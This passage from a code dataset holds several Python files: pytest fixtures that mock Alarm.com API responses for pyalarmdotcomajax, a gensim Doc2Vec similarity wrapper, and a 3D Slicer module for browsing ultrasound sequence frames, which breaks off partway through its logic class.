axis)\n","repo_name":"danmou/MerCur-Re","sub_path":"project/util/tf/discounting.py","file_name":"discounting.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"40689092916","text":"\"\"\"Global fixture functions.\"\"\"\n\n# pylint: disable = redefined-outer-name\n\nfrom collections.abc import AsyncGenerator, Callable, Generator\n\nimport aiohttp\nimport pytest\nfrom aioresponses import aioresponses\n\nfrom pyalarmdotcomajax import AlarmController\nfrom pyalarmdotcomajax import const as c\nfrom pyalarmdotcomajax.devices.registry import AttributeRegistry, DeviceType\nfrom pyalarmdotcomajax.extensions import CameraSkybellControllerExtension\n\nfrom .responses import get_http_body_html, get_http_body_json\n\n\n@pytest.fixture\ndef response_mocker() -> Generator:\n \"\"\"Yield aioresponses.\"\"\"\n with aioresponses() as mocker:\n yield mocker\n\n\n@pytest.fixture\n@pytest.mark.asyncio\nasync def adc_client() -> AsyncGenerator:\n \"\"\"Build and return dummy controller for testing without Alarm.com API.\"\"\"\n\n async with aiohttp.ClientSession() as websession:\n yield AlarmController(\n username=\"test-username\",\n password=\"hunter2\", # noqa: S106\n websession=websession,\n twofactorcookie=\"test-cookie\",\n )\n\n\n@pytest.fixture\ndef all_base_ok_responses(response_mocker: aioresponses, all_base_ok_responses_callable: Callable) -> None:\n \"\"\"Shortcut for including all mocked success responses immediately.\"\"\"\n\n all_base_ok_responses_callable()\n\n\n@pytest.fixture\ndef all_base_ok_responses_callable(response_mocker: aioresponses) -> Callable:\n \"\"\"Shortcut for including all mocked success responses on demand.\"\"\"\n\n def _load_mocks(repeat: bool = True) -> None:\n ############\n ### META ###\n ############\n\n response_mocker.get(\n url=c.TROUBLECONDITIONS_URL_TEMPLATE.format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"trouble_conditions_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AlarmController.ALL_SYSTEMS_URL_TEMPLATE.format(c.URL_BASE),\n status=200,\n body=get_http_body_json(\"available_systems_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=c.IDENTITIES_URL_TEMPLATE.format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"identities_ok\"),\n repeat=repeat,\n )\n\n ###############\n ### DEVICES ###\n ###############\n\n response_mocker.get(\n url=AttributeRegistry.get_endpoints(DeviceType.SYSTEM)[\"primary\"].format(c.URL_BASE, \"id-system\"),\n status=200,\n body=get_http_body_json(\"system_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AttributeRegistry.get_endpoints(DeviceType.IMAGE_SENSOR)[\"primary\"].format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"image_sensors_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AttributeRegistry.get_endpoints(DeviceType.SCENE)[\"primary\"].format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"scenes_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AlarmController.ALL_DEVICES_URL_TEMPLATE.format(c.URL_BASE, \"id-system\"),\n status=200,\n body=get_http_body_json(\"device_catalog_ok\"),\n repeat=repeat,\n )\n\n response_mocker.get(\n url=AlarmController.ALL_RECENT_IMAGES_TEMPLATE.format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"recent_images_ok\"),\n repeat=repeat,\n )\n\n ##################\n ### EXTENSIONS ###\n ##################\n\n response_mocker.get(\n url=CameraSkybellControllerExtension.ENDPOINT.format(c.URL_BASE),\n status=200,\n body=get_http_body_html(\"camera_settings_skybell\"),\n repeat=True,\n )\n\n return _load_mocks\n\n\n@pytest.fixture\ndef image_sensors_no_permission(response_mocker: aioresponses, all_base_ok_responses_callable: Callable) -> None:\n \"\"\"No permission to view devices.\"\"\"\n\n response_mocker.get(\n url=AlarmController.ALL_RECENT_IMAGES_TEMPLATE.format(c.URL_BASE, \"\"),\n status=200,\n body=get_http_body_json(\"processing_error\"),\n repeat=True,\n )\n\n all_base_ok_responses_callable()\n\n\n@pytest.fixture\ndef skybell_missing_video_quality_field(\n response_mocker: aioresponses, all_base_ok_responses_callable: Callable\n) -> None:\n \"\"\"Shortcut for including all mocked success responses.\"\"\"\n\n ##################\n ### EXTENSIONS ###\n ##################\n\n response_mocker.get(\n url=CameraSkybellControllerExtension.ENDPOINT.format(c.URL_BASE),\n status=200,\n body=get_http_body_html(\"camera_settings_skybell_missing_video_quality_field\"),\n repeat=True,\n )\n\n all_base_ok_responses_callable()\n\n\n@pytest.fixture\ndef device_catalog_no_permissions(response_mocker: aioresponses, all_base_ok_responses_callable: Callable) -> None:\n \"\"\"Shortcut for including all mocked success responses.\"\"\"\n\n response_mocker.get(\n url=AlarmController.ALL_DEVICES_URL_TEMPLATE.format(c.URL_BASE, \"id-system\"),\n status=200,\n body=get_http_body_json(\"no_permissions_or_invalid_antiforgery\"),\n repeat=True,\n )\n\n all_base_ok_responses_callable()\n","repo_name":"pyalarmdotcom/pyalarmdotcomajax","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":5322,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"82"} +{"seq_id":"43666182996","text":"from typing import List\nimport nltk\nimport numpy as np\nfrom gensim.models.doc2vec import TaggedDocument, Doc2Vec\nfrom numpy.linalg import norm\n\ntry:\n nltk.data.find('tokenizers/punkt')\nexcept LookupError:\n nltk.download('punkt')\n\nDEFAULT_PARAMS = dict(vector_size=99, window=5, min_count=1, workers=4)\n\n\nclass Doc2VecModel:\n \"\"\"\n Doc2Vec maps documents, or a collection of words, to vectors in R^d space. The inverse distance between two vectors\n in this high-dimensional space gives us a concept of similarity between documents.\n\n Reference: https://radimrehurek.com/gensim/models/doc2vec.html\n \"\"\"\n\n def __init__(self, params=DEFAULT_PARAMS):\n self.model = Doc2Vec(**params)\n\n def train_model(self, documents: List[str]):\n print(\"Training doc2vec model...\", end=\" \")\n word_tokens = [nltk.tokenize.word_tokenize(r) for r in documents]\n documents = [TaggedDocument(r, [i]) for i, r in enumerate(word_tokens)]\n self.model.build_vocab(documents)\n self.model.train(documents, total_examples=len(documents), epochs=10)\n print(\"Done!\\n\")\n\n def to_vector(self, doc: str) -> np.ndarray:\n tokens = nltk.tokenize.word_tokenize(doc)\n return self.model.infer_vector(tokens)\n\n def pairwise_similarity(self, doc: str, other_doc: str) -> float:\n distance = self.to_vector(doc) - self.to_vector(other_doc)\n return 1 / norm(distance)\n","repo_name":"TheShiya/yelp-review-summarizer","sub_path":"summarize/doc2vec.py","file_name":"doc2vec.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"25945832289","text":"import logging\nimport vtk, qt\n\nimport slicer\nfrom slicer.ScriptedLoadableModule import *\nfrom slicer.util import VTKObservationMixin\n\nimport numpy as np\n\n'''=================================================================================================================='''\n'''=================================================================================================================='''\n'''------------------------- STRING Macro of sl__US_SeqViewer ------------------------------------------------------'''\n'''------------------------------------------------------------------------------------------------------------------'''\nINT_SliderFrameIndex_Min = 1 # StartingValue of slider_FrameIndex, increase from 1\nINT_FRAME_INDEX_SLIDER_DEFAULT = 50 # Default slider_FrameIndex value\nINT_FRAME_INDEX_SLIDER_DEFAULT_MAX = 99 # Default slider_FrameIndex maximum\n\n# ReferenceRole\nSTR_SeqBrowserNode_RefRole_Selected = 'SeqBrowser_Ref_CurSelected'\n\n\n\n'''=================================================================================================================='''\n#\n# sl__US_SeqViewer\n#\nclass sl__US_SeqViewer(ScriptedLoadableModule):\n\n def __init__(self, parent):\n ScriptedLoadableModule.__init__(self, parent)\n self.parent.title = \"sl__US_SeqViewer\"\n self.parent.categories = [\"SL_Tutorials\"] # Set categories (the module shows up in the module selector)\n self.parent.dependencies = [\"Markups\"] # Add here list of module names that this module requires\n self.parent.contributors = [\"Sen Li (École de Technologie Supérieure)\"]\n # TODO: 10. update with a link to online module Tutorial\n self.parent.helpText = \"\"\"This is sl__US_SeqViewer ! \"\"\"\n self.parent.helpText += self.getDefaultModuleDocumentationLink()\n self.parent.acknowledgementText = 'Step-by-step tutorial on 3D Slicer extension development. ' \\\n '\\nThis file was originally developed by Sen Li, LATIS, École de techonologie supérieure. ' \\\n '\\nSen.Li.1@ens.etsmtl.ca'\n\n print(\"sl__US_SeqViewer(ScriptedLoadableModule): __init__(self, parent)\")\n\n'''=================================================================================================================='''\nclass sl__US_SeqViewerWidget(ScriptedLoadableModuleWidget, VTKObservationMixin):\n\n def __init__(self, parent=None):\n \"\"\" Called when the user opens the module the first time and the widget is initialized. \"\"\"\n ScriptedLoadableModuleWidget.__init__(self, parent)\n VTKObservationMixin.__init__(self) # needed for parameter node observation\n self.logic = None\n self._parameterNode = None # Singleton initialized through self.setParameterNode(self.logic.getParameterNode())\n self._updatingGUIFromParameterNode = False\n\n print(\"**Widget.__init__(self, parent)\")\n\n def setup(self):\n print(\"**Widget.setup(self), \\tSL_Developer\")\n \"\"\" 00. Called when the user opens the module the first time and the widget is initialized. \"\"\"\n ScriptedLoadableModuleWidget.setup(self)\n\n # 01. Load widget from .ui file (created by Qt Designer).\n # Additional widgets can be instantiated manually and added to self.layout.\n uiWidget = slicer.util.loadUI(self.resourcePath('UI/sl__US_SeqViewer.ui'))\n self.layout.addWidget(uiWidget)\n self.ui = slicer.util.childWidgetVariables(uiWidget)\n\n # 02. Set scene in MRML widgets. Make sure that in Qt designer the\n # top-level qMRMLWidget's \"mrmlSceneChanged(vtkMRMLScene*)\" signal in is connected to\n # each MRML widget's \"setMRMLScene(vtkMRMLScene*)\" slot.\n uiWidget.setMRMLScene(slicer.mrmlScene)\n\n # 03. Create logic class. Logic implements all computations that should be possible to run\n # in batch mode, without a graphical user interface.\n self.logic = sl__US_SeqViewerLogic()\n\n # 04. Connections, ensure that we update parameter node when scene is closed\n self.addObserver(slicer.mrmlScene, slicer.mrmlScene.StartCloseEvent, self.onSceneStartClose)\n self.addObserver(slicer.mrmlScene, slicer.mrmlScene.EndCloseEvent, self.onSceneEndClose)\n\n # 05. SL_Developer. Connect Signal-Slot, ensure that whenever user changes some settings on the GUI,\n # that is saved in the MRML scene (in the selected parameter node).\n self.ui.sequenceSelector.connect(\"currentNodeChanged(vtkMRMLNode*)\", self.onSelectedNodeChanged)\n slicer.modules.sequences.toolBar().activeBrowserNodeChanged.connect(self.onSelectedNodeChanged)\n\n self.ui.slider_SeqFrame.connect(\"valueChanged(int)\", self.onSliderFrameIndex_ValueChanged)\n\n\n # 06. Needed for programmer-friendly Module-Reload where the Module had already been enter(self)-ed;\n # Otherwise, will initial through function enter(self)\n if self.parent.isEntered:\n self.initializeParameterNode() # Every-Module own a Singleton ParameterNode track by **Logic.moduleName!\n\n # ------------------------------------------------------------------------------------------------------------------\n def cleanup(self):\n \"\"\" Called when the application closes and the module widget is destroyed. \"\"\"\n print(\"**Widget.cleanup(self)\")\n self.removeObservers()\n\n # ------------------------------------------------------------------------------------------------------------------\n def enter(self):\n \"\"\" Called each time the user opens this module. \"\"\"\n print(\"**Widget.enter(self)\")\n\n # 01. Slicer. SL__Note: Every-Module own a Singleton ParameterNode that can be identified by\n # self._parameterNode.GetAttribute('ModuleName')! Need to initial every Entry!\n self.initializeParameterNode()\n\n # ------------------------------------------------------------------------------------------------------------------\n def exit(self):\n \"\"\" Called each time the user opens a different module. \"\"\"\n print(\"**Widget.exit(self)\")\n # Slicer. Do not react to parameter node changes (GUI will be updated when the user enters into the module)\n self.removeObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode)\n\n # ------------------------------------------------------------------------------------------------------------------\n def onSceneStartClose(self, caller, event):\n \"\"\" Called just before the scene is closed. \"\"\"\n print(\"**Widget.onSceneStartClose(self, caller, event)\")\n\n # Slicer. Parameter node will be reset, do not use it anymore\n self.setParameterNode(None)\n\n # ------------------------------------------------------------------------------------------------------------------\n def onSceneEndClose(self, caller, event):\n \"\"\" Called just after the scene is closed. \"\"\"\n print(\"**Widget.onSceneEndClose(self, caller, event)\")\n # If this module is shown while the scene is closed then recreate a new parameter node immediately\n if self.parent.isEntered:\n self.initializeParameterNode()\n\n # ------------------------------------------------------------------------------------------------------------------\n def initializeParameterNode(self):\n \"\"\" Ensure parameter node exists and observed. \"\"\"\n # 01. Slicer-Initial: the Singleton ParameterNode stores all user choices in param-values, node selections...\n # so that when the scene is saved and reloaded, these settings are restored.\n self.setParameterNode(self.logic.getParameterNode())\n\n # 02. SL_Developer. To update ParameterNode and attach observers\n pass\n\n\n # ------------------------------------------------------------------------------------------------------------------\n def setParameterNode(self, inputParameterNode):\n \"\"\" SL_Notes: Set and observe the Singleton ParameterNode.\n Observation is needed because when ParameterNode is changed then the GUI must be updated immediately.\n \"\"\"\n print(\"**Widget.setParameterNode(self, inputParameterNode)\")\n if inputParameterNode:\n if not inputParameterNode.IsSingleton():\n raise ValueError(f'SL__Allert! \\tinputParameterNode = \\n{inputParameterNode.__str__()}')\n self.logic.setDefaultParameters(inputParameterNode)\n\n # 01. Unobserve previously selected Singleton ParameterNode;\n if self._parameterNode is not None:\n self.removeObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode)\n # 02. Set new Singleton ParameterNode and Add an observer to the newly selected\n self._parameterNode = inputParameterNode\n if self._parameterNode is not None:\n self.addObserver(self._parameterNode, vtk.vtkCommand.ModifiedEvent, self.updateGUIFromParameterNode)\n # 03. Initial GUI update; need to do this GUI update whenever there is a change from the Singleton ParameterNode\n self.updateGUIFromParameterNode()\n\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section I: get, set, obtain ================================\n # ------------------------------------------------------------------------------------------------------------------\n def getSelectedItemNumber_FromGUI_Slider(self):\n # Slider FrameIndex starts from 1, but idx_SelectedItemNumber starts 0.\n idx_CurSeqBrowser_SelectedItemNumber = self.ui.slider_SeqFrame.value - INT_SliderFrameIndex_Min\n return idx_CurSeqBrowser_SelectedItemNumber\n\n # ------------------------------------------------------------------------------------------------------------------\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section II-A: updateGUIFromParameterNode__ & Slots that call uiUpdate =\n # ------------------------------------------------------------------------------------------------------------------\n def updateGUIFromParameterNode(self, caller=None, event=None):\n \"\"\" This method is called whenever parameter node is changed.\n The module GUI is updated to show the current state of the parameter node. \"\"\"\n # 00. Check self._updatingGUIFromParameterNode to prevent from GUI changes\n # (it could cause infinite loop: GUI change -> UpdateParamNode -> Update GUI -> UpdateParamNode)\n if self._parameterNode is None or self._updatingGUIFromParameterNode:\n return\n\n # I. Open-Brace: Make sure GUI changes do not call updateParameterNodeFromGUI__ (it could cause infinite loop)\n self._updatingGUIFromParameterNode = True\n # --------------------------------------------------------------------------------------------------------------\n # II. SL_Developer, C: In-Brace, Update UI widgets ()\n print(\"**Widget.updateGUIFromParameterNode(self, caller=None, event=None), \\tSL_Developer\")\n # II-01. Update Values of Node-Selectors (qMRMLNodeComboBox)\n nodeSeqBrowser_Selected = self._parameterNode.GetNodeReference(STR_SeqBrowserNode_RefRole_Selected)\n self.ui.sequenceSelector.setCurrentNode(nodeSeqBrowser_Selected)\n # II-02. Update Status of slider_SeqFrame, and label_FrameIndex: QLabel, Sliders (ctkSliderWidget)\n self.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(nodeSeqBrowser_Selected)\n\n # --------------------------------------------------------------------------------------------------------------\n # III. Close-Brace: All the GUI updates are done;\n self._updatingGUIFromParameterNode = False\n\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n def onSliderFrameIndex_ValueChanged(self, caller=None, event=None):\n ''' SL_Notes: Not UserOnly function, can be called when a target_ControlPoint is selected! ''' ''''''\n # 00. Check Singleton ParameterNode: in case of enter() or onSceneStartClose()\n if self._parameterNode is None or self._updatingGUIFromParameterNode:\n return\n\n # 01. LogicUpdate: nodeSeqBrowser's Current-SelectedItemNumber\n idx_CurFrame = self.getSelectedItemNumber_FromGUI_Slider()\n self.logic.logicUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(idx_CurFrame)\n print(f'\\t**Widget.onSliderFrameIndex_ValueChanged,\\tidx_CurFrame = {idx_CurFrame}')\n\n # 02. uiUpdate: LandmarkPositionLabels\n self._updatingGUIFromParameterNode = True # I. Open-Brace: Avoid updateParameterNodeFromGUI__ (infinite loop)\n self.uiUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex() # II. In-Brace: uiUpdate\n self._updatingGUIFromParameterNode = False # III. Close-Brace: All the GUI updates are done;\n\n # ------------------------------------------------------------------------------------------------------------------\n def onSelectedNodeChanged(self, node_NewActiveBrowser=None, event=None):\n ''' SL_Notes: Not UserOnly function, can be called when a target_ControlPoint is selected! ''' ''''''\n print(f\"\\nBeginning of **Widget.onSelectedNodeChanged(): \\tnode_NewActiveBrowser =\"\n f\" {node_NewActiveBrowser.GetID() if node_NewActiveBrowser else type(node_NewActiveBrowser)}\")\n # 00-A. Check Singleton ParameterNode: important test for every NodeChange Slot, in case of onSceneStartClose()\n # Check _updatingGUIFromParameterNode: avoid bugs introduced by Slicer (PointAdded, PointPositionDefined)\n if self._parameterNode is None or self._updatingGUIFromParameterNode:\n return\n # 00-B. Check the validity of node_NewActiveBrowser\n if not node_NewActiveBrowser:\n return\n\n # 01. LogicUpdate\n self.updateParameterNodeFromGUI__Set_RefRoleNodeID(STR_SeqBrowserNode_RefRole_Selected, node_NewActiveBrowser.GetID())\n\n # 02. uiUpdate: update slider_SeqFrame\n if self.parent.isEntered:\n # I. Open-Brace: Make sure GUI changes do not call updateParameterNodeFromGUI__ (it could cause infinite loop)\n self._updatingGUIFromParameterNode = True\n # --------------------------------------------------------------------------------------------------------------\n # II-02-A. Re-Set sequenceSelector, just in case the Signal sender is Sequences.toolBar()\n self.ui.sequenceSelector.setCurrentNode(node_NewActiveBrowser)\n # II-02-B. Re-Set modules.sequences active SeqBrowser, just in case the Signal sender is Laminae-Labeling\n slicer.modules.sequences.widgetRepresentation().setActiveBrowserNode(node_NewActiveBrowser)\n # II-02-C. Push Slicer Screen refresh before uiUpdate\n self.uiUpdate_PushSlicerScreenUpdate_by_ShakeTargetSeqBrowser(node_NewActiveBrowser)\n # II-02-D. Start uiUpdate\n self.uiUpdate_SwitchSelection_ChangeSeqBrowser_RemainFrameIndex(node_NewActiveBrowser)\n # --------------------------------------------------------------------------------------------------------------\n # III. Close-Brace: All the GUI updates are done;\n self._updatingGUIFromParameterNode = False\n\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n # ==================================================================================================================\n # ----------- Section II-B: Sub-Functions called by updateGUIFromParameterNode__ or Slot functions ---\n # ----- 1. All sub-functions starts with uiUpdate ----------------------------------------------------\n # ----- 2. All uiUpdate functions canNOT set self._updatingGUIFromParameterNode ----\n # ----- 3. The superior function who call uiUpdate function MUST set self._updatingGUIFromParameterNode ----\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n def uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(self, nodeSeqBrowser_Selected):\n ''' **Widget.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(self, nodeSeqBrowser_Selected) ''' ''''''\n if nodeSeqBrowser_Selected:\n str_CurSeqBrowser_ID = 'nodeSeqBrowser_Selected.GetID() = ' + nodeSeqBrowser_Selected.GetID()\n str_NumberOfItems = '.GetNumberOfItems() = ' + str(nodeSeqBrowser_Selected.GetNumberOfItems())\n str_idxFrame = f', \\tidxFrame = {self.logic.obtain_idxSliderCurFrame_from_TargetSeqBrowser(nodeSeqBrowser_Selected)}'\n else:\n str_CurSeqBrowser_ID = 'CurSeqBrowser.GetID() = ' + str(type(nodeSeqBrowser_Selected))\n str_NumberOfItems = ''\n str_idxFrame = ''\n print(f\"\\t**Widget.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(), {str_CurSeqBrowser_ID}, {str_NumberOfItems}{str_idxFrame}\")\n\n if nodeSeqBrowser_Selected and nodeSeqBrowser_Selected.GetNumberOfItems() > 0:\n self.ui.slider_SeqFrame.enabled = True\n self.ui.slider_SeqFrame.minimum = INT_SliderFrameIndex_Min\n self.ui.slider_SeqFrame.maximum = nodeSeqBrowser_Selected.GetNumberOfItems()\n self.ui.slider_SeqFrame.value = self.logic.obtain_idxSliderCurFrame_from_TargetSeqBrowser(nodeSeqBrowser_Selected)\n self.ui.label_FrameIndex.setText(str(self.ui.slider_SeqFrame.value))\n else:\n # No SequenceBrowser_Node available, so we disable the slider_SeqFrame, and set label_FrameIndex 'N/A'\n self.ui.slider_SeqFrame.enabled = False\n self.ui.slider_SeqFrame.minimum = INT_SliderFrameIndex_Min\n self.ui.slider_SeqFrame.maximum = INT_FRAME_INDEX_SLIDER_DEFAULT_MAX\n self.ui.slider_SeqFrame.value = INT_FRAME_INDEX_SLIDER_DEFAULT\n self.ui.label_FrameIndex.setText('N/A')\n\n # ------------------------------------------------------------------------------------------------------------------\n # ==================================================================================================================\n # ------------------------------------------------------------------------------------------------------------------\n def uiUpdate_SwitchSelection_ChangeSeqBrowser_RemainFrameIndex(self, node_NewActiveBrowser):\n ''' **Widget.uiUpdate_SwitchSelection_ChangeSeqBrowser_RemainFrameIndex(self, nodeTarget_SeqBrowser) ''' ''''''\n # 00-A. Check if the module isEntered\n if not self.parent.isEntered: return\n # 00-B. Check the validity of nodeTarget_SeqBrowser\n if not node_NewActiveBrowser: return\n\n # 01. Update slider_SeqFrame\n if node_NewActiveBrowser:\n str_CurSeqBrowser_ID = 'node_NewActiveBrowser.GetID() = ' + node_NewActiveBrowser.GetID()\n str_NumberOfItems = 'idx_SeqBrowserSelectedItem = ' + str(node_NewActiveBrowser.GetNumberOfItems())\n else:\n str_CurSeqBrowser_ID = 'node_NewActiveBrowser.GetID() = ' + str(type(node_NewActiveBrowser))\n str_NumberOfItems = ''\n print(f\"\\t**Widget.uiUpdate_SwitchSelection_ChangeSeqBrowser_RemainFrameIndex(), {str_CurSeqBrowser_ID}, {str_NumberOfItems}\")\n self.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(node_NewActiveBrowser)\n\n\n # ------------------------------------------------------------------------------------------------------------------\n def uiUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(self):\n ''' **Widget.uiUpdate_SwitchSelection_SelectedSeqBrowser_ChangeFrameIndex(self) \n There are two modes to trigger this uiUpdate: UI modified / Non-UI (node) modified.\n To guarantee the Non-UI mode, we will update all UI widgets (including the possible TriggerMan UI widget).\n All uiUpdate can be done by logicUpdated nodeSeqBrowser_Selected, thus argument idx_TargetFrame NotRequired.\n ''' ''''''\n # 00-A. Check if the module isEntered\n if not self.parent.isEntered: return\n # 00-B. Check the validity of nodeSeqBrowser_Selected\n nodeSeqBrowser_Selected = self._parameterNode.GetNodeReference(STR_SeqBrowserNode_RefRole_Selected)\n if not nodeSeqBrowser_Selected: return\n\n # 01. Update the uiSlider\n self.uiUpdate_Slider_SeqFrame__by__nodeSeqBrowser_Selected(nodeSeqBrowser_Selected)\n\n\n # ------------------------------------------------------------------------------------------------------------------\n def uiUpdate_PushSlicerScreenUpdate_by_ShakeTargetSeqBrowser(self, nodeTarget_SeqBrowser):\n print(f' **Widget.uiUpdate_PushSlicerScreenUpdate_by_ShakeTargetSeqBrowser()')\n if nodeTarget_SeqBrowser:\n # Let's push Slicer to update by Setting current selected frame back and forth\n idx_curFrame = nodeTarget_SeqBrowser.GetSelectedItemNumber()\n\n nodeTarget_SeqBrowser.SetSelectedItemNumber(max(idx_curFrame - 1, 0))\n nodeTarget_SeqBrowser.SetSelectedItemNumber(min(idx_curFrame + 1, nodeTarget_SeqBrowser.GetNumberOfItems() - 1))\n nodeTarget_SeqBrowser.SetSelectedItemNumber(idx_curFrame)\n\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section IV: updateParameterNodeFromGUI__ ==============================\n # ------------------------------------------------------------------------------------------------------------------\n def updateParameterNodeFromGUI__Set_RefRoleNodeID(self, STR_RefRole, str_NodeID):\n \"\"\" Read GUI Method: Method updateParameterNodeFromGUI__ is called when users makes any change in the GUI.\n Changes are saved into the parameter node (so that they are restored when the scene is saved and loaded).\n **Widget.updateParameterNodeFromGUI__Set_RefRoleNodeID(self, STR_RefRole, str_NodeID） \"\"\"\n if self._parameterNode is None or self._updatingGUIFromParameterNode:\n return\n\n # I. Before updating the Singleton ParameterNode; Disable Modify events, e.g., vtk.vtkCommand.ModifiedEvent\n wasModified = self._parameterNode.StartModify() # Modify all properties in a single batch\n\n # II. Update the Singleton ParameterNode; No updateGUIFromParameterNode triggered in this step\n node_BeforeChange = self._parameterNode.GetNodeReference(STR_RefRole)\n if node_BeforeChange: str_NodeBeforeChange = self._parameterNode.GetNodeReference(STR_RefRole).GetID()\n else: str_NodeBeforeChange = \"\"\n print(f'\\tBefore Update: {str_NodeBeforeChange}')\n self._parameterNode.SetNodeReferenceID(STR_RefRole, str_NodeID)\n print(f'\\tAfter Update: {self._parameterNode.GetNodeReference(STR_RefRole).GetID()}')\n\n # III. After updating the Singleton ParameterNode; Enable Modify events, e.g., vtk.vtkCommand.ModifiedEvent\n self._parameterNode.EndModify(wasModified)\n\n\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n''' ================================================================================================================='''\n#\n# sl__US_SeqViewerLogic\n#\nclass sl__US_SeqViewerLogic(ScriptedLoadableModuleLogic):\n \"\"\" The Logic class is : to facilitate dynamic reloading of the module without restarting the application.\n This class should implement all the actual computation done by your module. \n The interface should be such that other python code can import this class \n and make use of the functionality without requiring an instance of the Widget.\n Uses ScriptedLoadableModuleLogic base class, available at:\n https://github.com/Slicer/Slicer/blob/master/Base/Python/slicer/ScriptedLoadableModule.py\n \"\"\"\n\n def __init__(self):\n \"\"\" Called when the logic class is instantiated. Can be used for initializing member variables. \"\"\"\n ScriptedLoadableModuleLogic.__init__(self)\n\n self._isSwitchingSeqBrowser = False\n\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section VI: get, set, obtain, & createNewNode =====================\n # ------------------------------------------------------------------------------------------------------------------\n def obtain_idxSliderCurFrame_from_TargetSeqBrowser(self, nodeTarget_SeqBrowser):\n ''' **Logic.obtain_idxSliderCurFrame_from_TargetSeqBrowser(self, nodeTarget_SeqBrowser) ''' ''''''\n idx_SliderCurFrame = nodeTarget_SeqBrowser.GetSelectedItemNumber() + INT_SliderFrameIndex_Min\n return idx_SliderCurFrame\n\n\n # ------------------------------------------------------------------------------------------------------------------\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section VII-A: logicUpdate & Functions that call paramNodeUpdate ====\n # ------------------------------------------------------------------------------------------------------------------\n def setDefaultParameters(self, parameterNode):\n \"\"\" SL_Developer, B: Initialize parameter node, Re-Enter, Re-Load. \"\"\"\n print(\"**Logic.setDefaultParameters(self, parameterNode), \\tSL_Developer, B\");\n # I. Before updating the Singleton ParameterNode; Disable Modify events, e.g., vtk.vtkCommand.ModifiedEvent\n wasModified = parameterNode.StartModify() # Modify all properties in a single batch\n # --------------------------------------------------------------------------------------------------------------\n # II. Update the Singleton ParameterNode; No updateGUIFromParameterNode triggered in this step\n # II-01. Set NodeRef for curSelected SeqBrowser, select the first if not selected\n if not parameterNode.GetNodeReference(STR_SeqBrowserNode_RefRole_Selected):\n node_SeqBrowser_First = slicer.mrmlScene.GetFirstNodeByClass(\"vtkMRMLSequenceBrowserNode\")\n if node_SeqBrowser_First:\n # II-01-A. Set NodeRefID for paramNode\n parameterNode.SetNodeReferenceID(STR_SeqBrowserNode_RefRole_Selected, node_SeqBrowser_First.GetID())\n # II-01-B. Synchronize with modules.sequences's SequenceBrowser active node\n slicer.modules.sequences.widgetRepresentation().setActiveBrowserNode(node_SeqBrowser_First)\n else:\n # II-01-C. Already got NodeRefID for paramNode, we only need to Synchronize with modules.sequences\n nodeSeqBrowser_Selected = parameterNode.GetNodeReference(STR_SeqBrowserNode_RefRole_Selected)\n slicer.modules.sequences.widgetRepresentation().setActiveBrowserNode(nodeSeqBrowser_Selected)\n\n # --------------------------------------------------------------------------------------------------------------\n # III. After updating the Singleton ParameterNode; Enable Modify events, e.g., vtk.vtkCommand.ModifiedEvent\n parameterNode.EndModify(wasModified)\n\n\n # ------------------------------------------------------------------------------------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n # ----------- Section VII-B: Sub-Functions with prefix/surfix paramNodeUpdate ----------------------\n # ----- 1. All sub-functions prefix/surfix with paramNodeUpdate; --------------------------------------\n # ------2. All paramNodeUpdate functions canNOT self.getParameterNode().StartModify() ---\n # ------3. The superior function who call paramNodeUpdate function MUST self.getParameterNode().StartModify() ---\n # ------------------------------------------------------------------------------------------------------------------\n\n\n # ------------------------------------------------------------------------------------------------------------------\n # ==================================================================================================================\n # ==================================================================================================================\n # =========== SL_Developer, Section VIII: Other Logic Functions ===============================\n # ------------------------------------------------------------------------------------------------------------------\n # --------------- Section VIII-01: Boolean (is_) Functions ---------------------------------------\n # ------------------------------------------------------------------------------------------------------------------\n def isValid_idxTargetFrame(self, nodeSeqBrowser, idx_TargetFrame):\n ''' **Logic.isValid_idxTargetFrame(self, nodeSeqBrowser, idx_TargetFrame) ''' ''''''\n if nodeSeqBrowser and idx_TargetFrame >=0 and idx_TargetFrame < nodeSeqBrowser.GetNumberOfItems():\n return True;\n else:\n return False\n\n\n # 